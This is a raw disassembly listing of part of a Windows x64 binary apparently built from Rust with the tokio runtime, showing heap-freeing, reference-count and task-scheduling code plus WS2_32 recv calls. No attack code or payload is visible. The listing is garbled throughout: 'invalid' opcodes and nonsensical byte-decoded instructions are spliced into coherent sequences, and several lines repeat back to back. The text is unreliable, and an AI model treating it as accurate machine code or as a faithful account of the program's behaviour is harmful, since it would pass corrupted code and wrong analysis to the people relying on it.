lea ecx, [rax - 6]
cmp cl, 6
jb 0x1400ba520
lea ecx, [rax - 3]
cmp cl, 2
ja 0x1400ba4df
cmp cl, 1
jne 0x1400ba520
movzx eax, al
test rax, rax
je 0x1400ba520
cmp eax, 1
jne 0x1400ba500
mov rax, qword [rbx - 0x18]
mov rdx, qword [rbx - 0x10]
mov r8, qword [rbx - 8]
mov rcx, rbx
call qword [rax + reloc.WS2_32.dll_recv]
jmp 0x1400ba520
mov r8, qword [rbx - 0x18]
test r8, r8
je 0x1400ba520
cmp qword [rbx - 0x10], 0
je 0x1400ba520
mov rcx, qword [0x140215360]
xor edx, edx
call r15
nop dword [rax]
mov rax, qword [rbx + 0x20]
test rax, rax
je 0x1400ba530
mov rcx, qword [rbx + 0x28]
call qword [rax + 0x18]
mov rax, qword [rbx + 0x38]
test rax, rax
je 0x1400ba4b0
mov rcx, qword [rbx + 0x40]
call qword [rax + 0x18]
call qword [rax + 0x18]
jmp 0x1400ba4b0
cmp qword [rsi + 0x1c0], 0
je 0x1400ba565
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rsi + 0x1e8]
test rax, rax
je 0x1400ba596
mov r8, qword [rsi + 0x1e0]
lea rax, [rax*8 + 0x17]
and rax, 0xfffffffffffffff0
sub r8, rax
mov rcx, qword [0x140215360]
or eax, 0x15add2
or eax, 0x15add2
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rsi + 0x208], 0
je 0x1400ba5b6
mov r8, qword [rsi + 0x200]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp rsi, 0xffffffffffffffff
je 0x1400ba5e1
lock dec qword [rsi + 8]
jne 0x1400ba5e1
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rsi
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop r15
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
nop
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
je 0x1400ba7a0
mov rcx, qword [rsi + 0x98]
call qword [rax + 0x18]
cmp rsi, 0xffffffffffffffff
je 0x1400ba7c5
lock dec qword [rsi + 8]
jne 0x1400ba7c5
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rsi
add rsp, 0x20
pop rsi
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
nop
add rsp, 0x20
pop rsi
ret
add byte [rax - 0x77], cl
invalid
mov r8d, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0x90]
lea rdx, [0x1401438a0]
call fcn.14012dc40
mov byte [rdi + 0xe0], 1
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xb0], xmm6
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
cmp rax, 0x3f
jbe 0x1400bb505
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x1400bb4de
mov rax, qword [rsi + 0x20]
lock dec qword [rax]
jne 0x1400bb49f
lea rcx, [rsi + 0x20]
call fcn.1400bbcb0
lea rcx, [rsi + 0x30]
call fcn.1400bb8c0
mov rax, qword [rsi + 0xc0]
test rax, rax
je 0x1400bb4be
mov rcx, qword [rsi + 0xc8]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x140215360]
xor edx, edx
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1401e0ae8]
push rbp
adc al, byte [rax]
push rbp
adc al, byte [rax]
mov edx, 0x27
call fcn.140160fb0
ud2
cmp eax, 0x3f
jbe 0x1400bb897
and rax, 0xffffffffffffffc0
and eax, 0xffffffc0
cmp rax, 0x40
jne 0x1400bb83d
mov rax, qword [rsi + 0x20]
lock dec qword [rax]
jne 0x1400bb625
lea rcx, [rsi + 0x20]
call fcn.1400bbcb0
lea rcx, [rsi + 0x30]
call fcn.1400bb8c0
mov rax, qword [rsi + 0xc0]
test rax, rax
je 0x1400bb644
mov rcx, qword [rsi + 0xc8]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x140215360]
xor edx, edx
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r14
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
movzx eax, byte [rax + 0xe0]
cmp eax, 1
je 0x1400bb6bd
xorps xmm6, xmm6
test eax, eax
jne 0x1400bb6e9
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0x90]
lea rdx, [0x1401438a0]
adc eax, 0x881ef
call fcn.14012dc40
mov byte [rbx + 0xe0], 1
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xb0]
mov qword [rax + 0xb0], 1
mov qword [rax + 0xb8], rdi
add byte [rax], al
add byte [rax], al
lea rdi, [rsi + 0x30]
mov rcx, rdi
call fcn.1400bb8c0
retf
add dword [rax], eax
add dh, al
xchg byte [rax + 0x4000000], ch
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0xe0]
cmp eax, 1
je 0x1400bb750
retf
test eax, eax
jne 0x1400bb84c
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0x90]
lea rdx, [0x1401438a0]
call fcn.14012dc40
mov byte [rbx + 0xe0], 1
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
ror dword [rdi], 0x11
mov al, 0xb0
add byte [rax], al
add byte [rax - 0x75], cl
pop rsi
invalid
ror dword [rdi], 0x11
mov al, 0xb0
add byte [rax], al
add byte [rax - 0x75], cl
pop rsi
sub byte [rbx + 0x159c8805], cl
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xb0]
mov qword [rax + 0xb0], 1
mov qword [rax + 0xb8], rbx
mov rcx, rdi
call fcn.1400bb8c0
mov qword [rsi + 0x30], 1
mov qword [rsi + 0x38], 0
mov qword [rsi + 0x48], rbx
mov byte [rsi + 0xa8], 3
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0xe0]
cmp eax, 1
je 0x1400bb80d
test eax, eax
jne 0x1400bb827
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0x90]
lea rdx, [0x1401438a0]
call fcn.14012dc40
mov byte [rdi + 0xe0], 1
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xb0], xmm6
mov rcx, rsi
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r14
jmp fcn.1400bb9d0
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r14
ret
mov rbx, qword [rsi + 0x28]
cmp eax, 1
je 0x1400bb76e
xorps xmm6, xmm6
test eax, eax
jne 0x1400bb79a
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0x90]
lea rdx, [0x1401438a0]
or byte [rax], al
call fcn.14012dc40
mov byte [r14 + 0xe0], 1
loopne 0x1400bb88f
add byte [rax], al
add ecx, ebp
xlatb
invalid
invalid
invalid
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1401e0ae8]
mov edx, 0x27
call fcn.140160fb0
ud2
add rbx, 0x10
dec r14
je 0x1400bbd1c
mov rax, qword [rbx - 8]
lock dec qword [rax]
je 0x1400bbd00
mov rax, qword [rbx]
lock dec qword [rax]
jne case.0x140065142.1962
jmp 0x1400bbd12
lea rcx, [rbx - 8]
call fcn.140143bc0
mov rax, qword [rbx]
lock dec qword [rax]
jne case.0x140065142.1962
mov rcx, rbx
call fcn.1400bbe40
jmp case.0x140065142.1962
cmp qword [rdi + 0x68], 0
je 0x1400bbd36
mov r8, qword [rdi + 0x60]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rdi + 0xe8], 0
je 0x1400bbd56
mov r8, qword [rdi + 0xe0]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbx, qword [rdi + 0x120]
mov r15, qword [rdi + 0x130]
test r15, r15
je 0x1400bbd81
mov r14, rbx
nop dword [rax]
mov rcx, r14
call fcn.1400bbe90
add r14, 8
dec r15
jne 0x1400bbd70
cmp qword [rdi + 0x128], 0
je 0x1400bbd9d
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rdi + 0x20]
test rax, rax
invalid
je 0x1400bbdb9
lock dec qword [rax]
jne 0x1400bbdb9
mov rcx, qword [rdi + 0x20]
mov rdx, qword [rdi + 0x28]
sub al, ch
fdiv st(2), st(0)
invalid
mov rax, qword [rdi + 0x30]
test rax, rax
je 0x1400bbdd5
lock dec qword [rax]
dec dword [rax]
jne 0x1400bbdd5
mov rcx, qword [rdi + 0x30]
mov rdx, qword [rdi + 0x38]
push rdi
cmp al, ch
fdiv st(2), st(0)
invalid
lea rcx, [rdi + 0x138]
call fcn.140003f60
mov rax, qword [rdi + 0x200]
lock dec qword [rax]
jne case.0x1400a1164.390
invalid
add rdi, 0x200
mov rcx, rdi
call fcn.140004b70
mov r8, qword [rsi]
cmp r8, 0xffffffffffffffff
je 0x1400bbe28
lock dec qword [r8 + 8]
jne 0x1400bbe28
mov rcx, qword [0x140215360]
xor edx, edx
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop r15
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
nop
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
int3
movsd dword [rdi], dword [rsi]
ror dword [rdx], 0
nop
add rsp, 0x20
pop rsi
ret
add dword [rax - 0x7d], ecx
clc
invalid
add byte [rax - 0x7d], cl
loopne 0x1400bbe7f
cmp rax, 0x40
jne 0x1400bbecf
mov rcx, qword [rdi]
mov rax, qword [rcx + 0x10]
call qword [rax + reloc.WS2_32.dll_recv]
lea rbx, [rdi + 0x18]
mov rax, qword [0x1402153f0]
shl rax, 1
test rax, rax
jne 0x1400bbf8f
mov rax, qword [rbx]
mov rcx, qword [rax + 0x18]
nop dword [rax]
mov rax, rcx
shr rax, 0x20
mov dword [rsp + 0x28], eax
mov rdx, qword [rbx]
cmp dword [rdx + 0x20], ecx
je 0x1400bbf4c
lea r9d, [rcx + 1]
mov dword [rsp + 0x2c], r9d
mov r8d, r9d
cmp eax, ecx
je 0x1400bbf1f
mov r8d, eax
cmp r9d, eax
je 0x1400bbfa7
mov eax, r9d
shl r8, 0x20
or r8, rax
mov rax, rcx
enter 0x4cf0, 0xf
mov cl, 0x42
invalid
je 0x1400bbf39
enter 0x4cf0, 0xf
mov cl, 0x42
sbb byte [rbp + rax + 0x48], dh
mov ecx, eax
mov rcx, rax
jmp 0x1400bbef0
mov rdx, qword [rbx]
movzx eax, cl
mov rcx, qword [rdx + 0x10]
mov rcx, qword [rcx + rax*8]
test rcx, rcx
jne 0x1400bbfc6
lock dec qword [rdx]
jne 0x1400bbf5a
mov rcx, rbx
call fcn.140143bc0
mov rax, qword [rdi + 8]
test rax, rax
je 0x1400bbf75
lock dec qword [rax]
jne 0x1400bbf75
add rdi, 8
mov rcx, rdi
call fcn.1400bbe40
mov r8, qword [rsi]
mov rcx, qword [0x140215360]
xor edx, edx
add rsp, 0x60
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
call fcn.1401666c0
test al, al
jne 0x1400bbee6
mov rdx, qword [rbx]
lock dec qword [rdx]
je 0x1400bbf52
jmp 0x1400bbf5a
mov qword [rsp + 0x30], 0
lea rcx, [rsp + 0x28]
lea rdx, [rsp + 0x2c]
lea r8, [rsp + 0x30]
call fcn.1401645f0
ud2
mov rax, 0xffffffffffffffc0
lock xadd qword [rcx], rax
cmp rax, 0x3f
ja 0x1400bbff2
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1401e0ae8]
mov edx, 0x27
call fcn.140160fb0
ud2
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x1400bc003
mov rax, qword [rcx + 0x10]
call qword [rax + reloc.WS2_32.dll_recv]
lea rax, str.queue_not_empty
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
lea rax, [0x140204680]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.32.0_src_runtime_schedulermulti_threadqueue.rsexplicit_panicqueue_is_not_full__tail____head_
lea rcx, [rsp + 0x30]
call fcn.140160e20
ud2
call fcn.14012dc40
mov byte [rdi + 0xe0], 1
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xb0], xmm6
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
cmp rax, 0x3f
jbe 0x1400bcb55
and rax, 0xffffffffffffffc0
loopne 0x1400bca96
cmp rax, 0x40
jne 0x1400bcb2e
mov rax, qword [rsi + 0x20]
lock dec qword [rax]
jne 0x1400bcaef
lea rcx, [rsi + 0x20]
call fcn.140005950
lea rcx, [rsi + 0x30]
call fcn.1400bb8c0
mov rax, qword [rsi + 0xc0]
test rax, rax
je 0x1400bcb0e
mov rcx, qword [rsi + 0xc8]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x140215360]
xor edx, edx
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1401e0ae8]
mov edx, 0x27
call fcn.140160fb0
ud2
add byte [rax], al
add bh, bh
push rax
sbb byte [rbx + rcx*4 + 0x46], cl
clc
mov rcx, qword [0x140215360]
xor edx, edx
add rsp, 0x20
pop rsi
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0xe0]
cmp eax, 1
je 0x1400bcd0d
xorps xmm6, xmm6
test eax, eax
jne 0x1400bcd39
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0x90]
lea rdx, [0x1401438a0]
call fcn.14012dc40
invalid
add dh, al
and eax, 0
add byte [rax], al
invalid
invalid
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xb0]
mov qword [rax + 0xb0], 1
mov qword [rax + 0xb8], rdi
lea rdi, [rsi + 0x30]
mov rcx, rdi
call fcn.1400bb8c0
mov byte [rsi + 0xa8], 4
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
movzx eax, byte [rax + 0xe0]
cmp eax, 1
je 0x1400bcda0
test eax, eax
jne 0x1400bce9c
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
sbb al, 0xc1
lea rcx, [rbx + 0x90]
lea rdx, [0x1401438a0]
call fcn.14012dc40
mov byte [rbx + 0xe0], 1
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xb0], xmm6
mov rbx, qword [rsi + 0x28]
mov rcx, rdi
call fcn.1400bb8c0
invalid
dec dword [rax - 0x39]
xor byte [rcx], r8b
add byte [rax], al
add byte [rax - 0x39], cl
cmp byte [rax], r8b
add byte [rax], al
add byte [rax - 0x77], cl
pop rsi
mov byte [rsi + 0xa8], 3
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0xe0]
cmp eax, 1
je 0x1400bce5d
invalid
test eax, eax
jne 0x1400bce77
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0x90]
lea rdx, [0x1401438a0]
call fcn.14012dc40
mov byte [rdi + 0xe0], 1
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xb0], xmm6
mov rcx, rsi
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r14
jmp fcn.1400bcf10
mov rbx, qword [rsi + 0x28]
cmp eax, 1
je fcn.1400bcdbe
xorps xmm6, xmm6
test eax, eax
jne 0x1400bcdea
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0x90]
lea rdx, [0x1401438a0]
call fcn.14012dc40
mov byte [r14 + 0xe0], 1
jmp fcn.1400bcdbe
mov eax, 0x48000000
lea edx, [rsp + 0x30]
mov rcx, rdi
call fcn.1400bd200
mov ebx, eax
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0xe0]
cmp eax, 1
je 0x1400bdc97
test eax, eax
jne 0x1400bdcb1
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0x90]
lea rdx, [0x1401438a0]
call fcn.14012dc40
mov byte [rdi + 0xe0], 1
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xb0], xmm6
lea rdi, [rsi + 0x20]
test bl, bl
je 0x1400bdd98
mov rax, qword [rsi]
jmp 0x1400bdcee
cmp rcx, 0x3f
jbe 0x1400bde02
add rcx, 0xffffffffffffffc0
cmp rcx, 0x40
setb dl
add dl, dl
lock cmpxchg qword [rsi], rcx
je 0x1400bdd1b
test al, 1
je 0x1400bde1c
test al, 0x20
jne 0x1400bdd66
mov rcx, rax
and rcx, 0xfffffffffffffffe
test al, 4
je 0x1400bdcd0
test rcx, rcx
js 0x1400bde36
add rcx, 0x40
mov dl, 1
lock cmpxchg qword [rsi], rcx
jne 0x1400bdcee
cmp dl, 2
je 0x1400bdd58
movzx eax, dl
cmp eax, 1
jne 0x1400bddd3
mov rcx, qword [rsi + 0x20]
mov rdx, rsi
call fcn.14014a490
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
cmp rax, 0x3f
jbe 0x1400bde89
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x1400bddd3
mov rcx, rsi
call fcn.1400be4e0
jmp 0x1400bddd3
mov byte [rsp + 0xb8], 4
lea rdx, [rsp + 0x48]
mov rcx, rdi
call fcn.1400be180
mov rax, qword [rsi + 0x28]
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x48], 1
jmp 0x1400bddb6
mov byte [rsp + 0xb8], 4
lea rdx, [rsp + 0x48]
mov rcx, rdi
call fcn.1400be180
mov qword [rsp + 0x48], 0
mov byte [rsp + 0xb8], 3
lea rdx, [rsp + 0x48]
mov rcx, rdi
call fcn.1400be180
mov rcx, rsi
call fcn.1400be350
movaps xmm6, xmmword [rsp + 0xc0]
add rsp, 0xd8
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x1401e0bb0]
mov edx, 0x26
add byte [rax], al
add byte [rax], al
call fcn.140160fb0
ud2
lea rcx, str.assertion_failed:_curr.is_running__
lea r8, [0x1401e0890]
mov edx, 0x23
call fcn.140160fb0
ud2
lea rcx, str.assertion_failed:_self.0___isize::MAX_as_usize
lea r8, [0x1401e0b70]
mov edx, 0x2f
call fcn.140160fb0
ud2
and eax, 0x8d480012
je 0x1400bde88
lea r9, [rsp + 0x28]
mov r8d, 1
mov rcx, rsi
call fcn.140144a40
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.32.0_src_runtime_taskcore.rs_b
mov rcx, rsi
call fcn.140160e20
ud2
or ecx, dword [rax - 0x73]
or eax, 0x122c30
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1401e0ae8]
mov edx, 0x27
call fcn.140160fb0
ud2
and al, 0x20
mov rax, qword [rsi]
cmp rax, 2
je 0x1400bdf45
test rax, rax
je 0x1400bdf45
mov rdi, qword [rsi + 8]
test rdi, rdi
je 0x1400bdf45
mov rbx, qword [rsi + 0x10]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x1400bdf45
cmp qword [rbx + 0x10], 0x11
jb 0x1400bdf33
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
movaps xmm0, xmmword [rsp + 0x20]
movaps xmm1, xmmword [rsp + 0x30]
and byte [rdi], cl
sub byte [rsp + 0x30], cl
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
add rsp, 0x50
pop rbx
pop rdi
pop rsi
ret
and eax, 0x58
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xb0]
mov qword [rax + 0xb0], 1
mov qword [rax + 0xb8], rdi
lea rdi, [rbx + 0x10]
movzx eax, byte [rbx + 0x80]
lea ecx, [rax - 3]
movzx edx, cl
lea r8, [rdx + 1]
xor ecx, ecx
cmp dl, 2
cmovb rcx, r8
cmp rcx, 1
je 0x1400be24f
test rcx, rcx
jne 0x1400be28b
cmp al, 2
je 0x1400be28b
mov rcx, rdi
call fcn.1400b6f00
jmp 0x1400be28b
cmp qword [rdi], 0
je 0x1400be28b
mov r14, qword [rbx + 0x18]
test r14, r14
je 0x1400be28b
mov rbx, qword [rbx + 0x20]
mov rcx, r14
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x1400be28b
cmp qword [rbx + 0x10], 0x11
jb 0x1400be279
mov r14, qword [r14 - 8]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, r14
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rsi + 0x70]
mov qword [rdi + 0x70], rax
movups xmm0, xmmword [rsi + 0x60]
movups xmmword [rdi + 0x60], xmm0
movups xmm0, xmmword [rsi + 0x50]
movups xmmword [rdi + 0x50], xmm0
movups xmm0, xmmword [rsi + 0x40]
movups xmmword [rdi + 0x40], xmm0
movups xmm0, xmmword [rsi]
movups xmm1, xmmword [rsi + 0x10]
movups xmm2, xmmword [rsi + 0x20]
movups xmm3, xmmword [rsi + 0x30]
movups xmmword [rdi + 0x30], xmm3
movups xmmword [rdi + 0x20], xmm2
movups xmmword [rdi + 0x10], xmm1
movups xmmword [rdi], xmm0
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0xe0]
add byte [rbx + 0x317401f8], al
add byte [rbx + 0x317401f8], al
test eax, eax
jne 0x1400be333
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0x90]
lea rdx, [0x1401438a0]
call fcn.14012dc40
mov byte [rsi + 0xe0], 1
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xb0], xmm6
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r14
ret
mov rbx, qword [rsp + 0x38]
jmp 0x1400c269f
mov rax, qword [rsp + 0x190]
mov qword [rsp + 0x70], rax
movaps xmm0, xmmword [rsp + 0x160]
movaps xmm1, xmmword [rsp + 0x170]
movaps xmm2, xmmword [rsp + 0x180]
movaps xmmword [rsp + 0x60], xmm2
movaps xmmword [rsp + 0x50], xmm1
movaps xmmword [rsp + 0x40], xmm0
call fcn.14013ac10
mov r14, rax
mov ebp, edx
mov rdx, qword [rdi - 8]
cmp rdx, qword [rdi - 0x10]
jne 0x1400c23b6
lea rcx, [rdi - 0x18]
call fcn.14006cfd0
mov rdx, qword [rdi - 8]
mov rax, qword [rdi - 0x18]
lea rcx, [rdx + rdx*8]
mov r8, qword [rsp + 0x70]
mov qword [rax + rcx*8 + 0x30], r8
movdqa xmm0, xmmword [rsp + 0x40]
movdqa xmm1, xmmword [rsp + 0x50]
movdqa xmm2, xmmword [rsp + 0x60]
movdqu xmmword [rax + rcx*8 + 0x20], xmm2
movdqu xmmword [rax + rcx*8 + 0x10], xmm1
movdqu xmmword [rax + rcx*8], xmm0
mov qword [rax + rcx*8 + 0x38], r14
mov dword [rax + rcx*8 + 0x40], ebp
inc rdx
mov qword [rdi - 8], rdx
cmp qword [r15 + 0xa8], 0
jne 0x1400c269f
mov esi, dword [r15 + 0xb8]
cmp esi, 0x3b9aca00
je 0x1400c269f
mov rdi, qword [r15 + 0xb0]
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x1400c244f
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1400c2cd4
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x48
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x1400c2cd4
mov r14, rax
mov qword [rax], 1
mov qword [rax + 8], 1
mov qword [rax + 0x10], 0
mov byte [rax + 0x20], 0
mov qword [rax + 0x28], 0
mov byte [rax + 0x38], 0
mov word [rax + 0x40], 0
lock inc qword [rax]
jle 0x1400c2c31
mov qword [r15 + 0xa8], r14
mov rbx, rdi
test rdi, rdi
jne 0x1400c24b7
test esi, esi
je 0x1400c2cf6
call fcn.14013ac10
mov r12, rax
mov ebp, edx
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.32.0_src_timeinterval.rs
call fcn.140144d20
mov r13, rdx
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0xc8], rdx
lea rcx, [rdx + 0x128]
add rdx, 0xc0
test rax, rax
cmove rcx, rdx
cmp dword [rcx + 0xd0], 0x3b9aca00
je 0x1400c2d34
lea rcx, [rsp + 0xc8]
mov edx, 1
lock xadd qword [r13], rdx
test rax, rax
je 0x1400c26f4
test rdx, rdx
js 0x1400c2c31
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x44], xmm0
and al, 0x58
add dword [rax], eax
add byte [rax + rcx*4 + 0xc], al
adc byte [rax + rcx*4 + 0x4c], al
add dword [rax], edx
neg rdx
lea rcx, [rdx + rdx*8]
lea rdi, [rax + rcx*8]
and r8b, 1
movzx edx, r8b
sub qword [r15 + 0x50], rdx
movaps xmm0, xmmword [rsp + 0x120]
movaps xmm1, xmmword [rsp + 0x130]
movaps xmm2, xmmword [rsp + 0x140]
movups xmmword [rax + rcx*8 - 0x28], xmm2
movups xmmword [rax + rcx*8 - 0x38], xmm1
movups xmmword [rax + rcx*8 - 0x48], xmm0
mov qword [rax + rcx*8 - 0x18], 8
xorps xmm0, xmm0
movups xmmword [rax + rcx*8 - 0x10], xmm0
inc qword [r15 + 0x58]
mov rax, qword [r15 + 0xa0]
cmp rax, qword [rdi - 8]
ja 0x1400c2361
lea rcx, [rsp + 0x160]
call fcn.1400b8f60
cmp byte [rbx], 2
jb 0x1400c26cc
mov rdi, qword [rbx + 8]
lea rcx, [rdi + 0x18]
mov rax, qword [rdi]
mov rdx, qword [rdi + 8]
mov r8, qword [rdi + 0x10]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rcx, [rbx + 0x28]
mov rax, qword [rbx + 0x10]
mov rdx, qword [rbx + 0x18]
mov r8, qword [rbx + 0x20]
call qword [rax + reloc.WS2_32.dll_recv]
nop
add rsp, 0x1a8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
test rdx, rdx
js 0x1400c2c31
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x44], xmm0
movdqu xmmword [rsp + 0x54], xmm0
and al, 0x54
and al, 0x54
movups xmm0, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0x120], xmm0
and al, 0x20
add dword [rax], eax
add byte [rdi], cl
adc byte [rsp + 0x50], al
and al, 0x20
add dword [rax], eax
add byte [rdi], cl
adc byte [rsp + 0x50], al
